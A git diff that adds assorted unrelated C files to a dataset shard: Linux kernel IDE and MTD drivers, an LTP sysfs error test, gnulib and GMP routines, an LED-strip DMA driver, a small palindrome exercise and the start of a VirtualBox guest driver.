NULL) { + for (x = line; x < pos; x++) { + c = *x; + /* c must be A-Z, a-z, 0-9, or underscore. */ + if ((c < 'a' || c > 'z') && + (c < 'A' || c > 'Z') && + (c < '0' || c > '9') && + (c != '_')){ + return FALSE; + } + } + } else { + /** + * if it has no '=' then it can't be a variable line + */ + return FALSE; + } + return TRUE; +} + diff --git a/pool/shard011/C/0141937_sysfs05.c b/pool/shard011/C/0141937_sysfs05.c new file mode 100644 index 0000000000000000000000000000000000000000..449443da21bbb4f4becd440b9f1360b045a9d5b6 --- /dev/null +++ b/pool/shard011/C/0141937_sysfs05.c @@ -0,0 +1,171 @@ +/* + * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2 of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ +/************************************************************************** + * + * TEST IDENTIFIER : sysfs(2) + * + * + * EXECUTED BY : anyone + * + * TEST TITLE : Test checking for basic error conditions + * for sysfs(2) + * + * TEST CASE TOTAL : 3 + * + * AUTHOR : Aniruddha Marathe + * + * SIGNALS + * Uses SIGUSR1 to pause before test if option set. + * (See the parse_opts(3) man page). + * + * DESCRIPTION + * This test case checks whether sysfs(2) system call returns + * appropriate error number for invalid + * option and for invalid filesystem name. + * + * Setup: + * Setup signal handling. + * Pause for SIGUSR1 if option specified. + * + * Test: + * Loop if the proper options are given. + * Execute system call with invaid option parameter and for + * invalid filesystem name + * Check return code, if system call fails with errno == expected errno + * Issue syscall passed with expected errno + * Otherwise, + * Issue syscall failed to produce expected errno + * + * Cleanup: + * Do cleanup for the test. + * + * USAGE: + * sysfs05 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-f] [-h] [-p] + * where: + * -c n : Run n copies simultaneously + * -e : Turn on errno logging. + * -i n : Execute test n times. + * -I x : Execute test for x seconds. + * -p : Pause for SIGUSR1 before starting + * -P x : Pause for x seconds between iterations. + * -t : Turn on syscall timing. + * + *RESTRICTIONS: + *There is no libc or glibc support + *Kernel must be compiled with ext2 support + *****************************************************************************/ + +#include +#include +#include "test.h" +#include "usctest.h" + +static void setup(); +static void cleanup(); + +char *TCID = "sysfs05"; +static int option[3] = { 1, 4, 1 }; /* valid and invalid option */ +static char *fsname[] = { "ext0", " ext2", (char *)-1 }; +static int exp_enos[] = { EINVAL, EFAULT, 0 }; + +static struct test_case_t { + char *err_desc; /*error description */ + int exp_errno; /* expected error number */ + char *exp_errval; /*Expected errorvalue string */ +} testcase[] = { + { + "Invalid option", EINVAL, "EINVAL"}, { + "Invalid filesystem name", EINVAL, "EINVAL "}, { + "Address is out of your address space", EFAULT, "EFAULT "} +}; + +int TST_TOTAL = sizeof(testcase) / sizeof(*testcase); + +int main(int ac, char **av) +{ + int lc, i; + char *msg; + + if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) + tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); + + setup(); + +#ifdef __NR_sysfs + + for (lc = 0; TEST_LOOPING(lc); lc++) { + + for (i = 0; i < TST_TOTAL; i++) { + + tst_count = 0; + TEST(syscall(__NR_sysfs, option[i], fsname[i])); + + /* check return code */ + if ((TEST_RETURN == -1) + && (TEST_ERRNO == testcase[i].exp_errno)) { + tst_resm(TPASS, + "sysfs(2) expected failure;" + " Got errno - %s : %s", + testcase[i].exp_errval, + testcase[i].err_desc); + } else { + tst_resm(TFAIL, "sysfs(2) failed to produce" + " expected error; %d, errno" + ": %s and got %d", + testcase[i].exp_errno, + testcase[i].exp_errval, TEST_ERRNO); + } + TEST_ERROR_LOG(TEST_ERRNO); + + } /*End of TEST LOOPS */ + } +#else + tst_resm(TWARN, + "This test can only run on kernels that support the sysfs system call"); +#endif + + /*Clean up and exit */ + cleanup(); + + tst_exit(); +} /*End of main */ + +/* setup() - performs all ONE TIME setup for this test */ +void setup() +{ + + tst_sig(NOFORK, DEF_HANDLER, cleanup); + + /* set the expected erronos */ + TEST_EXP_ENOS(exp_enos); + + TEST_PAUSE; +} + +/* +* cleanup() - Performs one time cleanup for this test at +* completion or premature exit +*/ +void cleanup() +{ + /* + * print timing stats if that option was specified. + * print errno log if that option was specified. + */ + TEST_CLEANUP; + +} diff --git a/pool/shard011/C/0141938_cs5535.c b/pool/shard011/C/0141938_cs5535.c new file mode 100644 index 0000000000000000000000000000000000000000..18d4c852602bfa042926d21d03dce3e231bc33eb --- /dev/null +++ b/pool/shard011/C/0141938_cs5535.c @@ -0,0 +1,220 @@ +/* + * Copyright (C) 2004-2005 Advanced Micro Devices, Inc. + * Copyright (C) 2007 Bartlomiej Zolnierkiewicz + * + * History: + * 09/20/2005 - Jaya Kumar + * - Reworked tuneproc, set_drive, misc mods to prep for mainline + * - Work was sponsored by CIS (M) Sdn Bhd. + * Ported to Kernel 2.6.11 on June 26, 2005 by + * Wolfgang Zuleger + * Alexander Kiausch + * Originally developed by AMD for 2.4/2.6 + * + * Development of this chipset driver was funded + * by the nice folks at National Semiconductor/AMD. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 as published by + * the Free Software Foundation. + * + * Documentation: + * CS5535 documentation available from AMD + */ + +#include +#include +#include + +#define DRV_NAME "cs5535" + +#define MSR_ATAC_BASE 0x51300000 +#define ATAC_GLD_MSR_CAP (MSR_ATAC_BASE+0) +#define ATAC_GLD_MSR_CONFIG (MSR_ATAC_BASE+0x01) +#define ATAC_GLD_MSR_SMI (MSR_ATAC_BASE+0x02) +#define ATAC_GLD_MSR_ERROR (MSR_ATAC_BASE+0x03) +#define ATAC_GLD_MSR_PM (MSR_ATAC_BASE+0x04) +#define ATAC_GLD_MSR_DIAG (MSR_ATAC_BASE+0x05) +#define ATAC_IO_BAR (MSR_ATAC_BASE+0x08) +#define ATAC_RESET (MSR_ATAC_BASE+0x10) +#define ATAC_CH0D0_PIO (MSR_ATAC_BASE+0x20) +#define ATAC_CH0D0_DMA (MSR_ATAC_BASE+0x21) +#define ATAC_CH0D1_PIO (MSR_ATAC_BASE+0x22) +#define ATAC_CH0D1_DMA (MSR_ATAC_BASE+0x23) +#define ATAC_PCI_ABRTERR (MSR_ATAC_BASE+0x24) +#define ATAC_BM0_CMD_PRIM 0x00 +#define ATAC_BM0_STS_PRIM 0x02 +#define ATAC_BM0_PRD 0x04 +#define CS5535_CABLE_DETECT 0x48 + +/* Format I PIO settings. We separate out cmd and data for safer timings */ + +static unsigned int cs5535_pio_cmd_timings[5] = +{ 0xF7F4, 0x53F3, 0x13F1, 0x5131, 0x1131 }; +static unsigned int cs5535_pio_dta_timings[5] = +{ 0xF7F4, 0xF173, 0x8141, 0x5131, 0x1131 }; + +static unsigned int cs5535_mwdma_timings[3] = +{ 0x7F0FFFF3, 0x7F035352, 0x7f024241 }; + +static unsigned int cs5535_udma_timings[5] = +{ 0x7F7436A1, 0x7F733481, 0x7F723261, 0x7F713161, 0x7F703061 }; + +/* Macros to check if the register is the reset value - reset value is an + invalid timing and indicates the register has not been set previously */ + +#define CS5535_BAD_PIO(timings) ( (timings&~0x80000000UL) == 0x00009172 ) +#define CS5535_BAD_DMA(timings) ( (timings & 0x000FFFFF) == 0x00077771 ) + +/**** + * cs5535_set_speed - Configure the chipset to the new speed + * @drive: Drive to set up + * @speed: desired speed + * + * cs5535_set_speed() configures the chipset to a new speed. + */ +static void cs5535_set_speed(ide_drive_t *drive, const u8 speed) +{ + u32 reg = 0, dummy; + u8 unit = drive->dn & 1; + + /* Set the PIO timings */ + if (speed < XFER_SW_DMA_0) { + ide_drive_t *pair = ide_get_pair_dev(drive); + u8 cmd, pioa; + + cmd = pioa = speed - XFER_PIO_0; + + if (pair) { + u8 piob = pair->pio_mode - XFER_PIO_0; + + if (piob < cmd) + cmd = piob; + } + + /* Write the speed of the current drive */ + reg = (cs5535_pio_cmd_timings[cmd] << 16) | + cs5535_pio_dta_timings[pioa]; + wrmsr(unit ? ATAC_CH0D1_PIO : ATAC_CH0D0_PIO, reg, 0); + + /* And if nessesary - change the speed of the other drive */ + rdmsr(unit ? ATAC_CH0D0_PIO : ATAC_CH0D1_PIO, reg, dummy); + + if (((reg >> 16) & cs5535_pio_cmd_timings[cmd]) != + cs5535_pio_cmd_timings[cmd]) { + reg &= 0x0000FFFF; + reg |= cs5535_pio_cmd_timings[cmd] << 16; + wrmsr(unit ? ATAC_CH0D0_PIO : ATAC_CH0D1_PIO, reg, 0); + } + + /* Set bit 31 of the DMA register for PIO format 1 timings */ + rdmsr(unit ? ATAC_CH0D1_DMA : ATAC_CH0D0_DMA, reg, dummy); + wrmsr(unit ? ATAC_CH0D1_DMA : ATAC_CH0D0_DMA, + reg | 0x80000000UL, 0); + } else { + rdmsr(unit ? ATAC_CH0D1_DMA : ATAC_CH0D0_DMA, reg, dummy); + + reg &= 0x80000000UL; /* Preserve the PIO format bit */ + + if (speed >= XFER_UDMA_0 && speed <= XFER_UDMA_4) + reg |= cs5535_udma_timings[speed - XFER_UDMA_0]; + else if (speed >= XFER_MW_DMA_0 && speed <= XFER_MW_DMA_2) + reg |= cs5535_mwdma_timings[speed - XFER_MW_DMA_0]; + else + return; + + wrmsr(unit ? ATAC_CH0D1_DMA : ATAC_CH0D0_DMA, reg, 0); + } +} + +/** + * cs5535_set_dma_mode - set host controller for DMA mode + * @hwif: port + * @drive: drive + * + * Programs the chipset for DMA mode. + */ + +static void cs5535_set_dma_mode(ide_hwif_t *hwif, ide_drive_t *drive) +{ + cs5535_set_speed(drive, drive->dma_mode); +} + +/** + * cs5535_set_pio_mode - set host controller for PIO mode + * @hwif: port + * @drive: drive + * + * A callback from the upper layers for PIO-only tuning. + */ + +static void cs5535_set_pio_mode(ide_hwif_t *hwif, ide_drive_t *drive) +{ + cs5535_set_speed(drive, drive->pio_mode); +} + +static u8 cs5535_cable_detect(ide_hwif_t *hwif) +{ + struct pci_dev *dev = to_pci_dev(hwif->dev); + u8 bit; + + /* if a 80 wire cable was detected */ + pci_read_config_byte(dev, CS5535_CABLE_DETECT, &bit); + + return (bit & 1) ? ATA_CBL_PATA80 : ATA_CBL_PATA40; +} + +static const struct ide_port_ops cs5535_port_ops = { + .set_pio_mode = cs5535_set_pio_mode, + .set_dma_mode = cs5535_set_dma_mode, + .cable_detect = cs5535_cable_detect, +}; + +static const struct ide_port_info cs5535_chipset __devinitconst = { + .name = DRV_NAME, + .port_ops = &cs5535_port_ops, + .host_flags = IDE_HFLAG_SINGLE | IDE_HFLAG_POST_SET_MODE, + .pio_mask = ATA_PIO4, + .mwdma_mask = ATA_MWDMA2, + .udma_mask = ATA_UDMA4, +}; + +static int __devinit cs5535_init_one(struct pci_dev *dev, + const struct pci_device_id *id) +{ + return ide_pci_init_one(dev, &cs5535_chipset, NULL); +} + +static const struct pci_device_id cs5535_pci_tbl[] = { + { PCI_VDEVICE(NS, PCI_DEVICE_ID_NS_CS5535_IDE), 0 }, + { PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_CS5535_IDE), }, + { 0, }, +}; + +MODULE_DEVICE_TABLE(pci, cs5535_pci_tbl); + +static struct pci_driver cs5535_pci_driver = { + .name = "CS5535_IDE", + .id_table = cs5535_pci_tbl, + .probe = cs5535_init_one, + .remove = ide_pci_remove, + .suspend = ide_pci_suspend, + .resume = ide_pci_resume, +}; + +static int __init cs5535_ide_init(void) +{ + return ide_pci_register_driver(&cs5535_pci_driver); +} + +static void __exit cs5535_ide_exit(void) +{ + pci_unregister_driver(&cs5535_pci_driver); +} + +module_init(cs5535_ide_init); +module_exit(cs5535_ide_exit); + +MODULE_AUTHOR("AMD"); +MODULE_DESCRIPTION("PCI driver module for AMD/NS CS5535 IDE"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141939_test-freopen.c b/pool/shard011/C/0141939_test-freopen.c new file mode 100644 index 0000000000000000000000000000000000000000..4b54d8d52888d6f795686da6e5c27d7f132b0435 --- /dev/null +++ b/pool/shard011/C/0141939_test-freopen.c @@ -0,0 +1,82 @@ +/* Test of opening a file stream. + Copyright (C) 2007-2013 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* Written by Bruno Haible , 2007. */ + +#include + +#include + +#include "signature.h" +SIGNATURE_CHECK (freopen, FILE *, (char const *, char const *, FILE *)); + +#include +#include + +#include "macros.h" + +int +main () +{ + const char *filename = "test-freopen.txt"; + + ASSERT (freopen ("/dev/null", "r", stdin) != NULL); + +#if 0 /* freopen (NULL, ...) is unsupported on most platforms. */ + /* Test that freopen() sets errno if someone else closes the stream + fd behind the back of stdio. */ + { + FILE *fp = fopen (filename, "w+"); + ASSERT (fp != NULL); + ASSERT (close (fileno (fp)) == 0); + errno = 0; + ASSERT (freopen (NULL, "r", fp) == NULL); + perror("freopen"); + ASSERT (errno == EBADF); + fclose (fp); + } + + /* Test that freopen() sets errno if the stream was constructed with + an invalid file descriptor. */ + { + FILE *fp = fdopen (-1, "w+"); + if (fp != NULL) + { + errno = 0; + ASSERT (freopen (NULL, "r", fp) == NULL); + ASSERT (errno == EBADF); + fclose (fp); + } + } + { + FILE *fp; + close (99); + fp = fdopen (99, "w+"); + if (fp != NULL) + { + errno = 0; + ASSERT (freopen (NULL, "r", fp) == NULL); + ASSERT (errno == EBADF); + fclose (fp); + } + } +#endif + + /* Clean up. */ + unlink (filename); + + return 0; +} diff --git a/pool/shard011/C/0141940_addmul_1.c b/pool/shard011/C/0141940_addmul_1.c new file mode 100644 index 0000000000000000000000000000000000000000..461b87a8a26f7918d9cec18eec5e05ef675c3b27 --- /dev/null +++ b/pool/shard011/C/0141940_addmul_1.c @@ -0,0 +1,131 @@ +/* mpn_addmul_1 -- multiply the N long limb vector pointed to by UP by VL, + add the N least significant limbs of the product to the limb vector + pointed to by RP. Return the most significant limb of the product, + adjusted for carry-out from the addition. + +Copyright 1992, 1993, 1994, 1996, 2000, 2002, 2004 Free Software Foundation, +Inc. + +This file is part of the GNU MP Library. + +The GNU MP Library is free software; you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation; either version 2.1 of the License, or (at your +option) any later version. + +The GNU MP Library is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY +or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public +License for more details. + +You should have received a copy of the GNU Lesser General Public License +along with the GNU MP Library; see the file COPYING.LIB. If not, write to +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +MA 02110-1301, USA. */ + +#include "mpir.h" +#include "gmp-impl.h" +#include "longlong.h" + + +#if GMP_NAIL_BITS == 0 + +mp_limb_t +mpn_addmul_1 (mp_ptr rp, mp_srcptr up, mp_size_t n, mp_limb_t vl) +{ + mp_limb_t ul, cl, hpl, lpl, rl; + + ASSERT (n >= 1); + ASSERT (MPN_SAME_OR_SEPARATE_P (rp, up, n)); + + cl = 0; + do + { + ul = *up++; + umul_ppmm (hpl, lpl, ul, vl); + + lpl += cl; + cl = (lpl < cl) + hpl; + + rl = *rp; + lpl = rl + lpl; + cl += lpl < rl; + *rp++ = lpl; + } + while (--n != 0); + + return cl; +} + +#endif + +#if GMP_NAIL_BITS == 1 + +mp_limb_t +mpn_addmul_1 (mp_ptr rp, mp_srcptr up, mp_size_t n, mp_limb_t vl) +{ + mp_limb_t shifted_vl, ul, rl, lpl, hpl, prev_hpl, cl, xl, c1, c2, c3; + + ASSERT (n >= 1); + ASSERT (MPN_SAME_OR_SEPARATE_P (rp, up, n)); + ASSERT_MPN (rp, n); + ASSERT_MPN (up, n); + ASSERT_LIMB (vl); + + shifted_vl = vl << GMP_NAIL_BITS; + cl = 0; + prev_hpl = 0; + do + { + ul = *up++; + rl = *rp; + umul_ppmm (hpl, lpl, ul, shifted_vl); + lpl >>= GMP_NAIL_BITS; + ADDC_LIMB (c1, xl, prev_hpl, lpl); + ADDC_LIMB (c2, xl, xl, rl); + ADDC_LIMB (c3, xl, xl, cl); + cl = c1 + c2 + c3; + *rp++ = xl; + prev_hpl = hpl; + } + while (--n != 0); + + return prev_hpl + cl; +} + +#endif + +#if GMP_NAIL_BITS >= 2 + +mp_limb_t +mpn_addmul_1 (mp_ptr rp, mp_srcptr up, mp_size_t n, mp_limb_t vl) +{ + mp_limb_t shifted_vl, ul, rl, lpl, hpl, prev_hpl, xw, cl, xl; + + ASSERT (n >= 1); + ASSERT (MPN_SAME_OR_SEPARATE_P (rp, up, n)); + ASSERT_MPN (rp, n); + ASSERT_MPN (up, n); + ASSERT_LIMB (vl); + + shifted_vl = vl << GMP_NAIL_BITS; + cl = 0; + prev_hpl = 0; + do + { + ul = *up++; + rl = *rp; + umul_ppmm (hpl, lpl, ul, shifted_vl); + lpl >>= GMP_NAIL_BITS; + xw = prev_hpl + lpl + rl + cl; + cl = xw >> GMP_NUMB_BITS; + xl = xw & GMP_NUMB_MASK; + *rp++ = xl; + prev_hpl = hpl; + } + while (--n != 0); + + return prev_hpl + cl; +} + +#endif diff --git a/pool/shard011/C/0141941_sun_uflash.c b/pool/shard011/C/0141941_sun_uflash.c new file mode 100644 index 0000000000000000000000000000000000000000..f9cfb084c029187fd8a50e25f1bfd5271765f91f --- /dev/null +++ b/pool/shard011/C/0141941_sun_uflash.c @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* sun_uflash.c - Driver for user-programmable flash on + * Sun Microsystems SME boardsets. + * + * This driver does NOT provide access to the OBP-flash for + * safety reasons-- use /drivers/sbus/char/flash.c instead. + * + * Copyright (c) 2001 Eric Brower (ebrower@usa.net) + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#define UFLASH_OBPNAME "flashprom" +#define DRIVER_NAME "sun_uflash" +#define PFX DRIVER_NAME ": " + +#define UFLASH_WINDOW_SIZE 0x200000 +#define UFLASH_BUSWIDTH 1 /* EBus is 8-bit */ + +MODULE_AUTHOR("Eric Brower "); +MODULE_DESCRIPTION("User-programmable flash device on Sun Microsystems boardsets"); +MODULE_LICENSE("GPL"); +MODULE_VERSION("2.1"); + +struct uflash_dev { + const char *name; /* device name */ + struct map_info map; /* mtd map info */ + struct mtd_info *mtd; /* mtd info */ +}; + +struct map_info uflash_map_templ = { + .name = "SUNW,???-????", + .size = UFLASH_WINDOW_SIZE, + .bankwidth = UFLASH_BUSWIDTH, +}; + +int uflash_devinit(struct platform_device *op, struct device_node *dp) +{ + struct uflash_dev *up; + + if (op->resource[1].flags) { + /* Non-CFI userflash device-- once I find one we + * can work on supporting it. + */ + printk(KERN_ERR PFX "Unsupported device at %pOF, 0x%llx\n", + dp, (unsigned long long)op->resource[0].start); + + return -ENODEV; + } + + up = kzalloc(sizeof(struct uflash_dev), GFP_KERNEL); + if (!up) { + printk(KERN_ERR PFX "Cannot allocate struct uflash_dev\n"); + return -ENOMEM; + } + + /* copy defaults and tweak parameters */ + memcpy(&up->map, &uflash_map_templ, sizeof(uflash_map_templ)); + + up->map.size = resource_size(&op->resource[0]); + + up->name = of_get_property(dp, "model", NULL); + if (up->name && 0 < strlen(up->name)) + up->map.name = up->name; + + up->map.phys = op->resource[0].start; + + up->map.virt = of_ioremap(&op->resource[0], 0, up->map.size, + DRIVER_NAME); + if (!up->map.virt) { + printk(KERN_ERR PFX "Failed to map device.\n"); + kfree(up); + + return -EINVAL; + } + + simple_map_init(&up->map); + + /* MTD registration */ + up->mtd = do_map_probe("cfi_probe", &up->map); + if (!up->mtd) { + of_iounmap(&op->resource[0], up->map.virt, up->map.size); + kfree(up); + + return -ENXIO; + } + + up->mtd->owner = THIS_MODULE; + + mtd_device_register(up->mtd, NULL, 0); + + dev_set_drvdata(&op->dev, up); + + return 0; +} + +static int uflash_probe(struct platform_device *op) +{ + struct device_node *dp = op->dev.of_node; + + /* Flashprom must have the "user" property in order to + * be used by this driver. + */ + if (!of_find_property(dp, "user", NULL)) + return -ENODEV; + + return uflash_devinit(op, dp); +} + +static int uflash_remove(struct platform_device *op) +{ + struct uflash_dev *up = dev_get_drvdata(&op->dev); + + if (up->mtd) { + mtd_device_unregister(up->mtd); + map_destroy(up->mtd); + } + if (up->map.virt) { + of_iounmap(&op->resource[0], up->map.virt, up->map.size); + up->map.virt = NULL; + } + + kfree(up); + + return 0; +} + +static const struct of_device_id uflash_match[] = { + { + .name = UFLASH_OBPNAME, + }, + {}, +}; + +MODULE_DEVICE_TABLE(of, uflash_match); + +static struct platform_driver uflash_driver = { + .driver = { + .name = DRIVER_NAME, + .of_match_table = uflash_match, + }, + .probe = uflash_probe, + .remove = uflash_remove, +}; + +module_platform_driver(uflash_driver); diff --git a/pool/shard011/C/0141942_ramfs.c b/pool/shard011/C/0141942_ramfs.c new file mode 100644 index 0000000000000000000000000000000000000000..2baaf2a0860991e499f2113c5aaceed13ad07d72 --- /dev/null +++ b/pool/shard011/C/0141942_ramfs.c @@ -0,0 +1,26 @@ +#include "fs/ramfs/ramfs.h" +#include "fs/dentry.h" +#include "util/type.h" + +superblock_t *ramfsReadSuperblock(superblock_t *sb, vnode_t *vnode) { + Unused(vnode); + + sb -> root = vnodeLink(vnodeAlloc(sb)); + return sb; +} + +vnode_t *ramfsReleaseNode(vnode_t *vnode) { + return vnode; +} + +vnode_t *ramfsAllocNode(superblock_t *sb) { + vnode_t *vnode = vnodeAlloc(sb); + vnode -> flags |= VnodePresent; + + return vnode; +} + +vnode_t *ramfsReadNode(vnode_t *vnode) { + vnodeInitDir(vnode, vnode -> sb -> mount); + return vnode; +} diff --git a/pool/shard011/C/0141943_task2.c b/pool/shard011/C/0141943_task2.c new file mode 100644 index 0000000000000000000000000000000000000000..2ca245d259821cc812504e08aa33ed713ee886b9 --- /dev/null +++ b/pool/shard011/C/0141943_task2.c @@ -0,0 +1,18 @@ +#include +#include + +int isPalindrome(const char* string) { + int i = 0,beg = 0, end = strlen(string)-1; + for(; i < (strlen(string)-1)/2; i++,beg++,end--) { + if(string[beg] != string[end]) + return 0; + } + return 1; +} + +int main() { + + char str[1000]; + scanf("%s",str); + printf("%d", isPalindrome(str)); +} diff --git a/pool/shard011/C/0141944_light_ws2811strip_stm32f10x.c b/pool/shard011/C/0141944_light_ws2811strip_stm32f10x.c new file mode 100644 index 0000000000000000000000000000000000000000..5db46ccf76c7f465841ea2a9d6c2064cef4adcd7 --- /dev/null +++ b/pool/shard011/C/0141944_light_ws2811strip_stm32f10x.c @@ -0,0 +1,123 @@ +/* + * This file is part of Cleanflight. + * + * Cleanflight is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Cleanflight is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with Cleanflight. If not, see . + */ + +#include +#include + +#include + +#include "common/color.h" +#include "drivers/light_ws2811strip.h" +#include "nvic.h" + +void ws2811LedStripHardwareInit(void) +{ + TIM_TimeBaseInitTypeDef TIM_TimeBaseStructure; + TIM_OCInitTypeDef TIM_OCInitStructure; + GPIO_InitTypeDef GPIO_InitStructure; + DMA_InitTypeDef DMA_InitStructure; + + uint16_t prescalerValue; + +#ifdef CC3D + RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE); + GPIO_StructInit(&GPIO_InitStructure); + GPIO_InitStructure.GPIO_Pin = GPIO_Pin_4; + GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; + GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; + GPIO_Init(GPIOB, &GPIO_InitStructure); +#else + RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE); + + /* GPIOA Configuration: TIM3 Channel 1 as alternate function push-pull */ + GPIO_StructInit(&GPIO_InitStructure); + GPIO_InitStructure.GPIO_Pin = GPIO_Pin_6; + GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; + GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; + GPIO_Init(GPIOA, &GPIO_InitStructure); +#endif + + RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3, ENABLE); + /* Compute the prescaler value */ + prescalerValue = (uint16_t) (SystemCoreClock / 24000000) - 1; + /* Time base configuration */ + TIM_TimeBaseStructInit(&TIM_TimeBaseStructure); + TIM_TimeBaseStructure.TIM_Period = 29; // 800kHz + TIM_TimeBaseStructure.TIM_Prescaler = prescalerValue; + TIM_TimeBaseStructure.TIM_ClockDivision = 0; + TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up; + TIM_TimeBaseInit(TIM3, &TIM_TimeBaseStructure); + + /* PWM1 Mode configuration: Channel1 */ + TIM_OCStructInit(&TIM_OCInitStructure); + TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM1; + TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; + TIM_OCInitStructure.TIM_Pulse = 0; + TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High; + TIM_OC1Init(TIM3, &TIM_OCInitStructure); + TIM_OC1PreloadConfig(TIM3, TIM_OCPreload_Enable); + + TIM_CtrlPWMOutputs(TIM3, ENABLE); + + /* configure DMA */ + /* DMA clock enable */ + RCC_AHBPeriphClockCmd(RCC_AHBPeriph_DMA1, ENABLE); + + /* DMA1 Channel6 Config */ + DMA_DeInit(DMA1_Channel6); + + DMA_StructInit(&DMA_InitStructure); + DMA_InitStructure.DMA_PeripheralBaseAddr = (uint32_t)&TIM3->CCR1; + DMA_InitStructure.DMA_MemoryBaseAddr = (uint32_t)ledStripDMABuffer; + DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralDST; + DMA_InitStructure.DMA_BufferSize = WS2811_DMA_BUFFER_SIZE; + DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Disable; + DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Enable; + DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_HalfWord; + DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_Byte; + DMA_InitStructure.DMA_Mode = DMA_Mode_Normal; + DMA_InitStructure.DMA_Priority = DMA_Priority_High; + DMA_InitStructure.DMA_M2M = DMA_M2M_Disable; + + DMA_Init(DMA1_Channel6, &DMA_InitStructure); + + /* TIM3 CC1 DMA Request enable */ + TIM_DMACmd(TIM3, TIM_DMA_CC1, ENABLE); + + DMA_ITConfig(DMA1_Channel6, DMA_IT_TC, ENABLE); + + NVIC_InitTypeDef NVIC_InitStructure; + + NVIC_InitStructure.NVIC_IRQChannel = DMA1_Channel6_IRQn; + NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = NVIC_PRIORITY_BASE(NVIC_PRIO_WS2811_DMA); + NVIC_InitStructure.NVIC_IRQChannelSubPriority = NVIC_PRIORITY_SUB(NVIC_PRIO_WS2811_DMA); + NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; + NVIC_Init(&NVIC_InitStructure); + const hsvColor_t hsv_white = { 0, 255, 255}; + setStripColor(&hsv_white); + ws2811UpdateStrip(); +} + +void ws2811LedStripDMAEnable(void) +{ + DMA_SetCurrDataCounter(DMA1_Channel6, WS2811_DMA_BUFFER_SIZE); // load number of bytes to be transferred + TIM_SetCounter(TIM3, 0); + TIM_Cmd(TIM3, ENABLE); + DMA_Cmd(DMA1_Channel6, ENABLE); +} + + diff --git a/pool/shard011/C/0141945_vbox.c b/pool/shard011/C/0141945_vbox.c new file mode 100644 index 0000000000000000000000000000000000000000..346c96eb11f76f60ac33ac9108c2c30aeeab82b7 --- /dev/null +++ b/pool/shard011/C/0141945_vbox.c @@ -0,0 +1,244 @@ +/* VirtualBox driver - by D.C. van Moolenbroek */ +/* + * This driver currently performs two tasks: + * - synchronizing to the host system time; + * - providing an interface for HGCM communication with the host system. + */ +#include +#include +#include +#include +#include +#include + +#include "vmmdev.h" +#include "proto.h" + +#define DEFAULT_INTERVAL 1 /* check host time every second */ +#define DEFAULT_DRIFT 2 /* update time if delta is >= 2 secs */ + +static void *vir_ptr; +static phys_bytes phys_ptr; +static port_t port; +static u32_t ticks; +static int interval; +static int drift; + +static unsigned int irq; +static int hook_id; + +static struct optset optset_table[] = { + { "interval", OPT_INT, &interval, 10 }, + { "drift", OPT_INT, &drift, 10 }, + { NULL, 0, NULL, 0 } +}; + +/*===========================================================================* + * vbox_request * + *===========================================================================*/ +int vbox_request(struct VMMDevRequestHeader *header, phys_bytes addr, + int type, size_t size) +{ + /* Perform a VirtualBox backdoor request. */ + int r; + + header->size = size; + header->version = VMMDEV_BACKDOOR_VERSION; + header->type = type; + header->result = VMMDEV_ERR_GENERIC; + + if ((r = sys_outl(port, addr)) != OK) + panic("device I/O failed: %d", r); + + return header->result; +} + +/*===========================================================================* + * vbox_init * + *===========================================================================*/ +static int vbox_init(int UNUSED(type), sef_init_info_t *UNUSED(info)) +{ + /* Initialize the device. */ + int devind; + u16_t vid, did; + struct 